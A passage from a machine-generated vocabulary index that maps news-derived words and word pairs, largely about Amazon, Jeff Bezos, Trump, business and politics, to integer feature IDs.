san": 170666, "peter desantis": 170667, "employees taking": 170668, "ballhaus rebeccaballhaus": 170669, "badgley gossip": 170670, "potentially overshadowing": 170671, "bin suleiman": 170672, "invoicing": 170673, "additional options": 170674, "day ladies": 170675, "trump doubled": 170676, "lower trendline": 170677, "premiering feature": 170678, "spectacular place": 170679, "gaetz peter": 170680, "tech juggernaut": 170681, "company started": 170682, "receive government": 170683, "sympathisers": 170684, "big leg": 170685, "satanic narratives": 170686, "apple cook": 170687, "world retail": 170688, "lex column": 170689, "745": 170690, "funny anymore": 170691, "leaves everybody": 170692, "packaging material": 170693, "excluding kinja": 170694, "wedding present": 170695, "ami continues": 170696, "opened amazon": 170697, "complaints people": 170698, "reportedly asked": 170699, "enterprise level": 170700, "real footage": 170701, "purposes": 170702, "friend secretary": 170703, "outcomes amazon": 170704, "hues": 170705, "peter messitte": 170706, "loeb": 170707, "economy home": 170708, "avoidable": 170709, "similar boat": 170710, "white female": 170711, "railed amazon": 170712, "hughes joined": 170713, "owner tells": 170714, "activists people": 170715, "jeffrey goldberg": 170716, "fake half": 170717, "global operations": 170718, "freshmen roll": 170719, "incredibly difficult": 170720, "ngo": 170721, "dictatorships": 170722, "performance defied": 170723, "founder todd": 170724, "cave": 170725, "cooperation betrayal": 170726, "replicate horvers": 170727, "foreign distributors": 170728, "ecpect deputy": 170729, "asia hbo": 170730, "people mover": 170731, "587 million": 170732, "telco": 170733, "rights abuses": 170734, "border joyce": 170735, "shooting scene": 170736, "nnix1": 170737, "unidentified female": 170738, "ms donnelly": 170739, "agold": 170740, "weeks stephen": 170741, "entertaining watch": 170742, "neutral technology": 170743, "obviously requires": 170744, "locating ton": 170745, "capital area": 170746, "borough president": 170747, "rick gates": 170748, "cubs decided": 170749, "cause injury": 170750, "feedtype": 170751, "critical coverage": 170752, "belong possible": 170753, "construct parking": 170754, "record profit": 170755, "polar": 170756, "potentially create": 170757, "better lighting": 170758, "storm commentary": 170759, "nathan turner": 170760, "fitness guru": 170761, "feb": 170762, "bezos serves": 170763, "pro saudi": 170764, "meteorologist lissette": 170765, "chicago store": 170766, "development corp": 170767, "rocketship": 170768, "watch bolsonaro": 170769, "jointly controlled": 170770, "starts tomorrow": 170771, "shopify announces": 170772, "hasn released": 170773, "cables hidden": 170774, "redux": 170775, "york view": 170776, "rich pedroncelli": 170777, "ferry development": 170778, "activities new": 170779, "year saudi": 170780, "revoking": 170781, "closers week": 170782, "separate accounting": 170783, "continue bloomberg": 170784, "18px": 170785, "finance portals": 170786, "cited challenging": 170787, "incremental slow": 170788, "partnering": 170789, "slamming facebook": 170790, "bezos cheating": 170791, "articleshow 66947332": 170792, "259 medium": 170793, "maley": 170794, "yes brian": 170795, "population worried": 170796, "sync": 170797, "unveiled radical": 170798, "rate corporate": 170799, "confederate": 170800, "981": 170801, "shopping services": 170802, "lives discover": 170803, "lines lenard": 170804, "2019 streetinsider": 170805, "bmw electric": 170806, "especially goods": 170807, "lame zings": 170808, "endearing": 170809, "allocations": 170810, "hopefuls amy": 170811, "night referring": 170812, "progress reuters": 170813, "offers new": 170814, "dues trump": 170815, "describes patent": 170816, "election win": 170817, "shoulder messenger": 170818, "gm doesn": 170819, "closely held": 170820, "competitive tactics": 170821, "ryan quest": 170822, "crises": 170823, "recall ive": 170824, "woodside project": 170825, "north dakota": 170826, "amazon reveals": 170827, "new tea": 170828, "visit write": 170829, "highs following": 170830, "ex ceo": 170831, "urinate": 170832, "special test": 170833, "measured emotion": 170834, "sebastian related": 170835, "deals purchases": 170836, "deals early": 170837, "house spokeswoman": 170838, "country rj": 170839, "buffet net": 170840, "trump queens": 170841, "sears target": 170842, "deploying antitrust": 170843, "columbus": 170844, "surprising stance": 170845, "exactly line": 170846, "quad": 170847, "news presenters": 170848, "favourably": 170849, "certain sale": 170850, "ballmer": 170851, "protection good": 170852, "equally provocative": 170853, "kitchen mix": 170854, "sharp drop": 170855, "continue publishing": 170856, "pre orders": 170857, "elaborate conspiracy": 170858, "pyrrhic victory": 170859, "nibbling": 170860, "fhd resolution": 170861, "fires facebooktwittergoogle": 170862, "launched tirade": 170863, "receiving": 170864, "valley entrepreneur": 170865, "fr0004178572": 170866, "million battling": 170867, "bezos right": 170868, "update bears": 170869, "retaliation": 170870, "mutual insurance": 170871, "canadian company": 170872, "delivered pep": 170873, "tales share": 170874, "stamps officially": 170875, "make greater": 170876, "nasdaq published": 170877, "directly intervened": 170878, "trump defiant": 170879, "richest human": 170880, "bullock": 170881, "thestreet daily": 170882, "singh known": 170883, "nobbed": 170884, "laws story": 170885, "eliza": 170886, "old lady": 170887, "amazon gift": 170888, "received recover": 170889, "bt scoring": 170890, "tastic stock": 170891, "packages delivered": 170892, "19x": 170893, "industrial surveillance": 170894, "hovering": 170895, "massoud": 170896, "appliance market": 170897, "evil": 170898, "today intern": 170899, "respected journalists": 170900, "reallocate funds": 170901, "pay livable": 170902, "panky thank": 170903, "iphone mar": 170904, "interview israel": 170905, "dale faustin": 170906, "remember facebook": 170907, "amazon momentum": 170908, "world wants": 170909, "user voice": 170910, "post implies": 170911, "xsmall width": 170912, "zte opinion": 170913, "trump collectible": 170914, "price ouster": 170915, "sources washington": 170916, "nhl hockey": 170917, "standard deductions": 170918, "edges hudson": 170919, "ford jobs": 170920, "problem want": 170921, "sphinx": 170922, "detailed roadmap": 170923, "free perks": 170924, "charcoal fabric": 170925, "trotter president": 170926, "managed television": 170927, "moment forward": 170928, "ny downplayed": 170929, "screeds": 170930, "split weekend": 170931, "demo day": 170932, "maduro vote": 170933, "india japan": 170934, "female right": 170935, "email newsletters": 170936, "tattooed": 170937, "candidate speaking": 170938, "inc_activeflag true": 170939, "times estimates": 170940, "stirred bit": 170941, "clouds trade": 170942, "elections generally": 170943, "held 115": 170944, "krugman stock": 170945, "inauthentic goods": 170946, "purdue denied": 170947, "revenue projection": 170948, "given unfair": 170949, "story mark": 170950, "target overreach": 170951, "known washington": 170952, "workplace harassment": 170953, "tiny towns": 170954, "ground lebeau": 170955, "965": 170956, "donkey": 170957, "sector employment": 170958, "counting votes": 170959, "196": 170960, "looks remarkably": 170961, "conversations took": 170962, "older mentor": 170963, "ride vallone": 170964, "amazon blasted": 170965, "policies translating": 170966, "dupont standard": 170967, "inventory process": 170968, "times spent": 170969, "assembled consortium": 170970, "football think": 170971, "garossino": 170972, "barring people": 170973, "coziness": 170974, "insurance uniforms": 170975, "000 veterans": 170976, "note going": 170977, "date jack": 170978, "remain silent": 170979, "sheer sales": 170980, "intimate text": 170981, "powell address": 170982, "holdovers": 170983, "queens boy": 170984, "2750989": 170985, "gadget_pron rt": 170986, "personally pressuring": 170987, "backgrounds immediately": 170988, "religious freedom": 170989, "machinery row": 170990, "kickertext": 170991, "telsey advisory": 170992, "california inland": 170993, "switch verizon": 170994, "harvard institute": 170995, "rightly fills": 170996, "klippenstein": 170997, "headlamp 330": 170998, "nancy travis": 170999, "times noted": 171000, "closely": 171001, "trillion stock": 171002, "amazon gibbs": 171003, "safety information": 171004, "4657 generally": 171005, "party likewise": 171006, "carving": 171007, "amazon proprietary": 171008, "retailer nook": 171009, "brennancenter": 171010, "effort outfit": 171011, "build total": 171012, "thoughtful people": 171013, "brooklyn film": 171014, "vision monrovia": 171015, "man": 171016, "provider accredited": 171017, "enlist": 171018, "paying people": 171019, "amazon delisted": 171020, "programs amazon": 171021, "innovate international": 171022, "mejia": 171023, "austin looked": 171024, "jr breaking": 171025, "coin ap": 171026, "coalition include": 171027, "story bloomberg": 171028, "country expect": 171029, "committee foreignaffairs": 171030, "national carriers": 171031, "knausgaard": 171032, "past presidents": 171033, "warehouses received": 171034, "285": 171035, "carrell says": 171036, "floridapolitics": 171037, "finsum": 171038, "trump fed": 171039, "fair soundbite": 171040, "trip abroad": 171041, "plekken terecht": 171042, "systematically oppressing": 171043, "sessions attorney": 171044, "surgeon": 171045, "freshly won": 171046, "board fasb": 171047, "case icann": 171048, "left attracted": 171049, "council robert": 171050, "include border": 171051, "legislation 3665": 171052, "rights holder": 171053, "prius": 171054, "justice statistics": 171055, "strange bedfellows": 171056, "equity market": 171057, "run number": 171058, "leslie": 171059, "print truth": 171060, "recruit": 171061, "best marketwatch": 171062, "water uco": 171063, "future relationship": 171064, "longer hear": 171065, "exposed amazon": 171066, "inside motorcade": 171067, "fiercely devoted": 171068, "recode reported": 171069, "unrecognizable": 171070, "party actors": 171071, "skills practiced": 171072, "taxes competition": 171073, "largo bezos": 171074, "bullet vanity": 171075, "strategy allows": 171076, "schiller flexner": 171077, "avenatti accusations": 171078, "amzn tries": 171079, "service dumber": 171080, "foreclosed": 171081, "unconstitutional orders": 171082, "sure according": 171083, "aws knew": 171084, "stock remaining": 171085, "california blazes": 171086, "la new": 171087, "craig": 171088, "2018 gasparino": 171089, "metropolitan markets": 171090, "weather events": 171091, "hamilton proud": 171092, "know follow": 171093, "quick rise": 171094, "spar": 171095, "big purveyors": 171096, "similar decision": 171097, "disadvantage compared": 171098, "really brings": 171099, "centers run": 171100, "significant changes": 171101, "defrauding charitable": 171102, "protective vest": 171103, "wmt low": 171104, "service revenue": 171105, "bespending": 171106, "crazies remark": 171107, "ibrahim": 171108, "locations today": 171109, "naloxone": 171110, "environment council": 171111, "happen cramer": 171112, "aravella simotas": 171113, "queens building": 171114, "d4a 1721086080": 171115, "apart fairly": 171116, "t5 s8i": 171117, "arm intends": 171118, "bernal musical": 171119, "american manufacturing": 171120, "neutral traditional": 171121, "lawyer ian": 171122, "usually fiction": 171123, "travels business": 171124, "controversies deserves": 171125, "original fishin": 171126, "expensive white": 171127, "corp stated": 171128, "writ large": 171129, "slowing usps": 171130, "dystopia": 171131, "secretive health": 171132, "york girl": 171133, "amazon report": 171134, "novel": 171135, "better reason": 171136, "stock popped": 171137, "substantial pot": 171138, "china takes": 171139, "did release": 171140, "trade short": 171141, "aws cringely": 171142, "fees bloomberg": 171143, "1992": 171144, "inc_override_url": 171145, "concerns especially": 171146, "shower gift": 171147, "traditional political": 171148, "warren called": 171149, "rationale": 171150, "protectionism financialization": 171151, "time address": 171152, "sabyasachi kundu": 171153, "technology businesses": 171154, "undeniable magnetism": 171155, "date business": 171156, "palantir runs": 171157, "bw6ikjetds swb": 171158, "movie scrooged": 171159, "men homeless": 171160, "irony ocasio": 171161, "hear ye": 171162, "meets amazon": 171163, "remain positive": 171164, "marks dr": 171165, "phrase work": 171166, "story michael": 171167, "twitter_page": 171168, "surprising connection": 171169, "massive prepayments": 171170, "nearly doubling": 171171, "republican talking": 171172, "headlines says": 171173, "departmentofficials debating": 171174, "shared quote": 171175, "emenville subdivision": 171176, "issue lubin": 171177, "sociological stereotypes": 171178, "trench coat": 171179, "hire private": 171180, "cargo charter": 171181, "2018 know": 171182, "job spicer": 171183, "hastily departs": 171184, "improve pay": 171185, "profitable year": 171186, "boockvar bleakley": 171187, "hbo mega": 171188, "dominance monopoly": 171189, "stay democrat": 171190, "critter\u0430could": 171191, "repair power": 171192, "wide open": 171193, "environmental parliamentary": 171194, "bloomington": 171195, "doorn marketwatch": 171196, "company free": 171197, "website hughes": 171198, "encourages development": 171199, "incomes caused": 171200, "services paying": 171201, "responsibility trump": 171202, "invasion": 171203, "providing consumers": 171204, "brenberg carlson": 171205, "2045": 171206, "briefing papers": 171207, "agenda porter": 171208, "dominant question": 171209, "new account": 171210, "behemoths billionaire": 171211, "heavenly": 171212, "average 150": 171213, "hannah montana": 171214, "originally proclaiming": 171215, "unions played": 171216, "presidential power": 171217, "resume": 171218, "agency needs": 171219, "america left": 171220, "espn parent": 171221, "mortgaging house": 171222, "consultant emily": 171223, "background objects": 171224, "result catapulted": 171225, "bennett richmond": 171226, "work says": 171227, "visibility": 171228, "based catalog": 171229, "fair open": 171230, "larger giving": 171231, "mansion": 171232, "netflix announced": 171233, "uber suv": 171234, "hartnett chief": 171235, "bezos spuriously": 171236, "brand told": 171237, "handouts": 171238, "damaging issuethe": 171239, "telling vladimir": 171240, "nbsp nbsp": 171241, "politicians getting": 171242, "official measure": 171243, "ellison wrote": 171244, "reshoring": 171245, "video_duration": 171246, "sander": 171247, "entr\u00e9e": 171248, "park service": 171249, "gotten pass": 171250, "favorite foils": 171251, "told white": 171252, "ucla leafy": 171253, "soybean production": 171254, "seniors": 171255, "korea talks": 171256, "basketball team": 171257, "actual tax": 171258, "apply privacy": 171259, "looks terrific": 171260, "form unions": 171261, "stephanie cutter": 171262, "providers constantly": 171263, "27yrs": 171264, "house dinner": 171265, "establishment democrat": 171266, "encouraging going": 171267, "released aug": 171268, "gestures": 171269, "daily digest": 171270, "rapid progress": 171271, "assist new": 171272, "run gene": 171273, "fee examined": 171274, "false": 171275, "thingy alexa": 171276, "shooter": 171277, "praised story": 171278, "soaring stock": 171279, "drugs human": 171280, "hunt right": 171281, "sold yes": 171282, "business owners": 171283, "ronayne sent": 171284, "consulting giant": 171285, "boycottamazon pic": 171286, "controversial policies": 171287, "bum note": 171288, "light bulb": 171289, "85m financial": 171290, "img_w": 171291, "struck landmark": 171292, "stinks": 171293, "treason following": 171294, "vehicles amazon": 171295, "veteran television": 171296, "solid proposals": 171297, "rake": 171298, "business having": 171299, "brands clothing": 171300, "protectionist moves": 171301, "veto": 171302, "playing field": 171303, "pretty easy": 171304, "quarter century": 171305, "talkingtech": 171306, "women accusing": 171307, "consistently negative": 171308, "won bore": 171309, "legitimate candidate": 171310, "surprise amazon": 171311, "gary shilling": 171312, "sketch unless": 171313, "positive aspects": 171314, "bad smell": 171315, "apple appl": 171316, "loot": 171317, "exemptions": 171318, "prosper": 171319, "extensively process": 171320, "pushed medication": 171321, "hiv stigma": 171322, "consistency": 171323, "unfilled jobs": 171324, "regulators oversight": 171325, "discriminatory practices": 171326, "standalone episode": 171327, "unfair powers": 171328, "upset despite": 171329, "male dominated": 171330, "days rout": 171331, "investigation secret": 171332, "cases facebook": 171333, "fantasy female": 171334, "sleeved version": 171335, "make tax": 171336, "amzn nke": 171337, "pregnancy discrimination": 171338, "york billionaire": 171339, "quickly rippled": 171340, "selected resource": 171341, "repealed net": 171342, "creative amazon": 171343, "daring amazon": 171344, "war impact": 171345, "initiative application": 171346, "cyber defenses": 171347, "fixed location": 171348, "msnbc willie": 171349, "tells usabout": 171350, "siu": 171351, "reportedly turned": 171352, "kline": 171353, "impute ami": 171354, "multi state": 171355, "different society": 171356, "led concurrent": 171357, "possession receipt": 171358, "approach amazon": 171359, "eu countries": 171360, "trouble suddenly": 171361, "taoiseach": 171362, "senator wrote": 171363, "consumer loan": 171364, "nastier": 171365, "expanded competitors": 171366, "bulger": 171367, "controversies included": 171368, "disappointing cloud": 171369, "rightly notes": 171370, "politi": 171371, "potentially enter": 171372, "government regulated": 171373, "founder skip": 171374, "presidency lifting": 171375, "soon ami": 171376, "relieved": 171377, "romance novels": 171378, "tax states": 171379, "warner cnn": 171380, "mistrust": 171381, "having security": 171382, "navarro": 171383, "judkis": 171384, "ryan begins": 171385, "interview preview": 171386, "stock index": 171387, "billion founder": 171388, "pecker known": 171389, "aggressive bets": 171390, "worst flop": 171391, "dividing line": 171392, "graham example": 171393, "vokaw500vq daniel": 171394, "reorganization": 171395, "publicity failure": 171396, "vet damon": 171397, "moderator errol": 171398, "collected statements": 171399, "forecasts music": 171400, "trump egoacid": 171401, "course trump": 171402, "california supreme": 171403, "displaced people": 171404, "adds state": 171405, "switch": 171406, "forrester": 171407, "loggers cattle": 171408, "stock starting": 171409, "assemblywoman aravella": 171410, "ogborn robin": 171411, "adam schiff": 171412, "2014 reported": 171413, "deceptive marketing": 171414, "106 degrees": 171415, "russian operatives": 171416, "chinese manufacturers": 171417, "added colbert": 171418, "growth slowing": 171419, "choices ignore": 171420, "fundraiser today": 171421, "latest story": 171422, "contenttype cta": 171423, "spurt": 171424, "commerce laws": 171425, "_heatherfrost": 171426, "100 disaster": 171427, "christian legal": 171428, "news cook": 171429, "lowered": 171430, "amazon runs": 171431, "stocks heres": 171432, "communist oops": 171433, "post skirmish": 171434, "dropkicks cnn": 171435, "apurva": 171436, "tech growth": 171437, "including leftist": 171438, "writing authority": 171439, "droughts": 171440, "mother emily": 171441, "fy15 fy16": 171442, "workplaces": 171443, "great point": 171444, "texas": 171445, "yillion dollar": 171446, "brexit extension": 171447, "autos positive": 171448, "mcsally just": 171449, "arends": 171450, "says establishing": 171451, "ensure people": 171452, "monarchy 2018": 171453, "svp told": 171454, "zealand herald": 171455, "2017 concluded": 171456, "rubenstein assured": 171457, "prosecution based": 171458, "options long": 171459, "republicans offer": 171460, "roman clark": 171461, "peanut": 171462, "assistant called": 171463, "resources harder": 171464, "heart monrovia": 171465, "bleak british": 171466, "dynamic forecasting": 171467, "group posted": 171468, "statewide matchups": 171469, "600 page": 171470, "rates appears": 171471, "game company": 171472, "proposed acquisition": 171473, "orlando number": 171474, "decline strong": 171475, "j8i s8": 171476, "recently met": 171477, "el reg": 171478, "willie nelson": 171479, "comedian rebel": 171480, "asian man": 171481, "pittohio": 171482, "important resources": 171483, "story scrap": 171484, "companies breitbart": 171485, "secret war": 171486, "jeff": 171487, "enquirer spokesperson": 171488, "don play": 171489, "curved": 171490, "unroll know": 171491, "costs surrounding": 171492, "pervades americans": 171493, "blocked chip": 171494, "papers complete": 171495, "enhanced supervision": 171496, "lesbian gay": 171497, "hema supermarkets": 171498, "twitterian wondered": 171499, "barren": 171500, "host lauren": 171501, "fair labor": 171502, "prime time": 171503, "disconnecting": 171504, "complicate comcast": 171505, "mumtaz global": 171506, "doozy semi": 171507, "redirects public": 171508, "industry pose": 171509, "binge": 171510, "ohanian talks": 171511, "just wants": 171512, "egregious example": 171513, "v1 a4ee": 171514, "sectors": 171515, "nominee did": 171516, "make major": 171517, "deindustrialization": 171518, "cocktails": 171519, "voice city": 171520, "walton family": 171521, "games milkshakes": 171522, "obfuscating": 171523, "source nypost": 171524, "ibm earnings": 171525, "common 2018": 171526, "challenges including": 171527, "mid 1980s": 171528, "opportunities versus": 171529, "fifths amazon": 171530, "duffell": 171531, "nbc carol": 171532, "walmart saw": 171533, "reporters trump": 171534, "tapper": 171535, "pe\u00f1a asserted": 171536, "temporary weakness": 171537, "keller": 171538, "unforeseeable": 171539, "nonprofit mailers": 171540, "evaluating startup": 171541, "story included": 171542, "limited state": 171543, "output tumbled": 171544, "shock msnbc": 171545, "debut ways": 171546, "552": 171547, "nomadix": 171548, "homosexual": 171549, "humanity federal": 171550, "boris yeltsin": 171551, "predetermined according": 171552, "equaling": 171553, "a5q t5q": 171554, "texts tabloid": 171555, "trump": 171556, "135 000": 171557, "rnc donna": 171558, "ratings suck": 171559, "shares surging": 171560, "rev share": 171561, "inflatable": 171562, "dakota": 171563, "aerospace traffic": 171564, "0sxtpiypxh chris": 171565, "trump thinking": 171566, "powerhouses": 171567, "instance began": 171568, "trump aftershock": 171569, "free stamps": 171570, "mention james": 171571, "reaches high": 171572, "issued note": 171573, "s1": 171574, "office just": 171575, "licensing rights": 171576, "takes began": 171577, "reports retailers": 171578, "instance": 171579, "reliable": 171580, "auto stereos": 171581, "control code": 171582, "enquirer regularly": 171583, "kids handprints": 171584, "constraints resulted": 171585, "survey reveals": 171586, "report joe": 171587, "wage announcement": 171588, "hits year": 171589, "pragmatists": 171590, "insulin": 171591, "speculation netease": 171592, "joel schreurs": 171593, "readers just": 171594, "table evan": 171595, "occasionally": 171596, "company mcafee": 171597, "clintonfrom": 171598, "denying": 171599, "screen controllers": 171600, "retail target": 171601, "olley amc": 171602, "data driven": 171603, "destroyer": 171604, "analyst thank": 171605, "south florida": 171606, "llc reported": 171607, "avenatti stole": 171608, "discovers": 171609, "watergate scandal": 171610, "wasteful billing": 171611, "laughs": 171612, "fake facts": 171613, "helping expand": 171614, "headache 2018": 171615, "2017 digital": 171616, "thing elected": 171617, "holds double": 171618, "entourage": 171619, "river basin": 171620, "flippant": 171621, "health know": 171622, "oscars source": 171623, "amazons jeff": 171624, "twitter kyweise": 171625, "secretive process": 171626, "began selling": 171627, "special thinking": 171628, "regular column": 171629, "amazon positions": 171630, "second cashierless": 171631, "preview cancel": 171632, "precedents regarding": 171633, "shirts amazon": 171634, "areas just": 171635, "undercover investigator": 171636, "international migrants": 171637, "biggest stock": 171638, "tech petco": 171639, "gain competitive": 171640, "tech performance": 171641, "brent schutte": 171642, "investor alert": 171643, "probably paid": 171644, "clinton later": 171645, "wallington": 171646, "accolade new": 171647, "directly accusing": 171648, "scathing statement": 171649, "watson feb": 171650, "recognizable": 171651, "complying": 171652, "little aggressive": 171653, "decades": 171654, "track people": 171655, "invites growing": 171656, "president vladi": 171657, "regular happy": 171658, "seek legal": 171659, "151": 171660, "enterprise customers": 171661, "fentanyl smuggled": 171662, "wapo file": 171663, "farm": 171664, "corporate monopoly": 171665, "scalzo european": 171666, "montessori school": 171667, "loss revenue": 171668, "naming amazon": 171669, "trump statue": 171670, "amassed": 171671, "revenue tops": 171672, "business ultimately": 171673, "merely small": 171674, "tunisia": 171675, "reach rmb30bn": 171676, "2017 erik": 171677, "cmcsa": 171678, "greenfield claim": 171679, "follows public": 171680, "haaretz reported": 171681, "scams 2018": 171682, "theflashback": 171683, "smaller european": 171684, "despite information": 171685, "r4ee o6": 171686, "heavily regulated": 171687, "feature live": 171688, "stephen moret": 171689, "tabloid published": 171690, "impartial": 171691, "ambassador twitter": 171692, "alipay launched": 171693, "significant progress": 171694, "week episode": 171695, "operating systems": 171696, "workforce file": 171697, "quaint": 171698, "remind customers": 171699, "fox source": 171700, "provisions lower": 171701, "w9x w9x": 171702, "loves drawing": 171703, "centralize": 171704, "view national": 171705, "trump stressed": 171706, "smartphone users": 171707, "americanbanker": 171708, "donated": 171709, "company getting": 171710, "cookbooks": 171711, "arrivals featuring": 171712, "carted": 171713, "wealth specifically": 171714, "cra rules": 171715, "principal taxes": 171716, "make tom": 171717, "justice kagan": 171718, "quote william": 171719, "review shipping": 171720, "stories featured": 171721, "movement alibaba": 171722, "farmers want": 171723, "vmworld": 171724, "backlash russia": 171725, "clear cut": 171726, "reimbursed": 171727, "anybody right": 171728, "goodman mcgill": 171729, "42nd": 171730, "broadsheet readers": 171731, "curated gift": 171732, "departments odd": 171733, "prevailing trade": 171734, "listthese": 171735, "acc": 171736, "earnings estimate": 171737, "mishap": 171738, "street nyse": 171739, "mmr": 171740, "flags highly": 171741, "ago wrote": 171742, "colophon": 171743, "looking civil": 171744, "ruralism": 171745, "brands created": 171746, "provide apprenticeship": 171747, "apple\u00e2 airpods": 171748, "accommodating new": 171749, "amazon testing": 171750, "rooting": 171751, "skyrocketed": 171752, "officer attempts": 171753, "ballard celebrating": 171754, "mongodb believes": 171755, "technology rivals": 171756, "bezos eclipsed": 171757, "nyse teva": 171758, "305 words": 171759, "enlargement": 171760, "photo chuck": 171761, "cents higher": 171762, "reveling": 171763, "swan": 171764, "new rights": 171765, "york new": 171766, "returns thanks": 171767, "determined efforts": 171768, "old cloud": 171769, "numerous internet": 171770, "protest 1361932001": 171771, "actions trump": 171772, "baxter bros": 171773, "week guest": 171774, "new releases": 171775, "right protests": 171776, "disembarked": 171777, "cuse directed": 171778, "finances amazon": 171779, "pandora spotify": 171780, "cohen told": 171781, "amazon blocks": 171782, "ripley": 171783, "situations amazon": 171784, "fool recommends": 171785, "pf_rd_m": 171786, "leave saudi": 171787, "boss countered": 171788, "entry points": 171789, "class ares": 171790, "technologies prevail": 171791, "giants demonstrates": 171792, "rapidly ahead": 171793, "criterion": 171794, "nervy": 171795, "growing calls": 171796, "unsubscribing": 171797, "settled closely": 171798, "just turkey": 171799, "foods year": 171800, "investment counsel": 171801, "indisputable": 171802, "prom date": 171803, "faces heat": 171804, "sent trump": 171805, "house multiple": 171806, "united talked": 171807, "736 000": 171808, "securities lawyer": 171809, "alleged letter": 171810, "page fantasia": 171811, "behemoth hostile": 171812, "past certain": 171813, "owners enjoy": 171814, "london creative": 171815, "deforestation": 171816, "fake trump": 171817, "moya town": 171818, "movement weinstein": 171819, "day walkout": 171820, "virtual private": 171821, "does need": 171822, "publisher links": 171823, "chose trump": 171824, "states rival": 171825, "brandinglink": 171826, "farenheit 451": 171827, "560": 171828, "sharpened": 171829, "trial fda": 171830, "states prime": 171831, "travelex wants": 171832, "smears": 171833, "friends picture": 171834, "grill facebook": 171835, "employee work": 171836, "matches uco": 171837, "animated songs": 171838, "overdose reversal": 171839, "malicious websites": 171840, "payments postal": 171841, "hair snl": 171842, "new recruits": 171843, "vice president": 171844, "market strategies": 171845, "hold kavanaugh": 171846, "appropriate steps": 171847, "regular talk": 171848, "920": 171849, "wrote called": 171850, "faa": 171851, "federal employee": 171852, "finance officer": 171853, "coverage email": 171854, "city board": 171855, "ongoing white": 171856, "lay": 171857, "tech status": 171858, "anthony pratt": 171859, "technology trade": 171860, "truly global": 171861, "getty mysterious": 171862, "insecure": 171863, "particularly honored": 171864, "alexa trump": 171865, "dollar americans": 171866, "partnerships": 171867, "secretary james": 171868, "added trump": 171869, "powerhouses specifically": 171870, "goods caught": 171871, "halting": 171872, "illness cnn": 171873, "koch enterprises": 171874, "tm success": 171875, "crimes heightening": 171876, "violates antitrust": 171877, "rates greater": 171878, "official government": 171879, "bezos act": 171880, "manywitnesses": 171881, "caroline": 171882, "blossom films": 171883, "implies": 171884, "avoiding federal": 171885, "bhuvaneswar": 171886, "unloaded": 171887, "brennan asking": 171888, "apparently security": 171889, "win democratic": 171890, "news subscribe": 171891, "fastest startup": 171892, "restaurant workers": 171893, "motorheads": 171894, "expects trump": 171895, "having lot": 171896, "priced competition": 171897, "academic journalistic": 171898, "advertising content": 171899, "distributed nationally": 171900, "mcfaul": 171901, "puppets": 171902, "561 bought": 171903, "andrew mccabe": 171904, "state submitted": 171905, "changer": 171906, "companies stifle": 171907, "jk": 171908, "article nearly": 171909, "lawmakers wrangle": 171910, "eventually installed": 171911, "build global": 171912, "megamillions jackpot": 171913, "amazon added": 171914, "neighborhood rezoning": 171915, "time commitment": 171916, "edexheimer bloomberg": 171917, "highly": 171918, "government postal": 171919, "jordan rodgers": 171920, "bezos swiftly": 171921, "ruling holds": 171922, "poa accepting": 171923, "wing asshat": 171924, "trump federal": 171925, "fueled surge": 171926, "h8 j8i": 171927, "loon": 171928, "monopolistic acquisition": 171929, "follows yesterday": 171930, "hour subway": 171931, "bray continue": 171932, "downtrodden": 171933, "just hosting": 171934, "obey": 171935, "markets coca": 171936, "cups": 171937, "databases agents": 171938, "oftentimes": 171939, "tweets cause": 171940, "projects coming": 171941, "officials internet": 171942, "surprising commerce": 171943, "hosting managing": 171944, "hush dealmaking": 171945, "thanksgiving millions": 171946, "faces backlash": 171947, "lol heather": 171948, "treating neurological": 171949, "investors ahead": 171950, "bezos punctures": 171951, "nasdaq lower": 171952, "ftc launched": 171953, "tradition": 171954, "standard language": 171955, "process finally": 171956, "compact": 171957, "profane": 171958, "corrupt practices": 171959, "republican mossad": 171960, "793": 171961, "included legal": 171962, "various amazon": 171963, "gaetz escapes": 171964, "help combat": 171965, "deal effectively": 171966, "twitter left": 171967, "stays private": 171968, "midterm elections": 171969, "asking kids": 171970, "constitution obama": 171971, "ceo commissioner": 171972, "cbmimwh0dhbzoi8vd3d3lmjiyy5jb20vbmv3cy93b3jszc11cy1jyw5hzgetndu5njg2mdbsaxlodhrwczovl3d3dy1iymmty29tlmnkbi5hbxbwcm9qzwn0lm9yzy92l3mvd3d3lmjiyy5jb20vbmv3cy9hbxavd29ybgqtdxmty2fuywrhltq1oty4nja2p2ftcf9qc192ptaumsn3zwj2awv3ptemy2fwpxn3axbl": 171973, "fans say": 171974, "producing shareholder": 171975, "adventurous": 171976, "solar": 171977, "reptiles including": 171978, "appropriate scrutiny": 171979, "helena mont": 171980, "personal criticism": 171981, "803 shares": 171982, "students learn": 171983, "relatively apolitical": 171984, "developer don": 171985, "tknow": 171986, "duo concluded": 171987, "chain compromise": 171988, "vir": 171989, "morrison homes": 171990, "bezos independently": 171991, "founders resign": 171992, "statement does": 171993, "satellite corporate": 171994, "robert fenner": 171995, "gop presidential": 171996, "read usa": 171997, "biggest percentage": 171998, "ellisonthe": 171999, "selling online": 172000, "senator recent": 172001, "sell new": 172002, "boston died": 172003, "7tao": 172004, "gardens": 172005, "investor mentor": 172006, "department announced": 172007, "internet ultimately": 172008, "tax authorities": 172009, "controls fox": 172010, "tracing": 172011, "old master": 172012, "hasn euro": 172013, "outlet focused": 172014, "especially baffling": 172015, "risk groups": 172016, "wildfires celebrities": 172017, "especially notable": 172018, "becker company": 172019, "blockchain": 172020, "subscribe follow": 172021, "t9x z0": 172022, "intelligence assets": 172023, "sayers": 172024, "boiled crime": 172025, "heights near": 172026, "113 shares": 172027, "free consulting": 172028, "98point6 ceo": 172029, "thwarted china": 172030, "650px": 172031, "unforeseen consequences": 172032, "urban planning": 172033, "population amazon": 172034, "juggle work": 172035, "groups partnership": 172036, "practice probes": 172037, "new crown": 172038, "prize winners": 172039, "damaged mailboxes": 172040, "narrates": 172041, "2019 jim": 172042, "american assets": 172043, "gang need": 172044, "misleading tap": 172045, "enjoyed victory": 172046, "mackenzie walks": 172047, "crossing borders": 172048, "corporations comparable": 172049, "house stance": 172050, "florida": 172051, "manager cherry": 172052, "holy sepulcher": 172053, "took walk": 172054, "malouf hardie": 172055, "process white": 172056, "fundamentals": 172057, "healthcare project": 172058, "everywhereist": 172059, "shippingeasy shipworks": 172060, "curse": 172061, "controversies including": 172062, "allegations trump": 172063, "dramatic act": 172064, "music 2018": 172065, "numerous caveats": 172066, "publically amazon": 172067, "institute": 172068, "weeks earlier": 172069, "00m": 172070, "taking private": 172071, "theirgrudging acceptance": 172072, "ireland margo": 172073, "davidoatkins": 172074, "culprits": 172075, "buying brands": 172076, "allows storage": 172077, "inexpensive service": 172078, "fromthe": 172079, 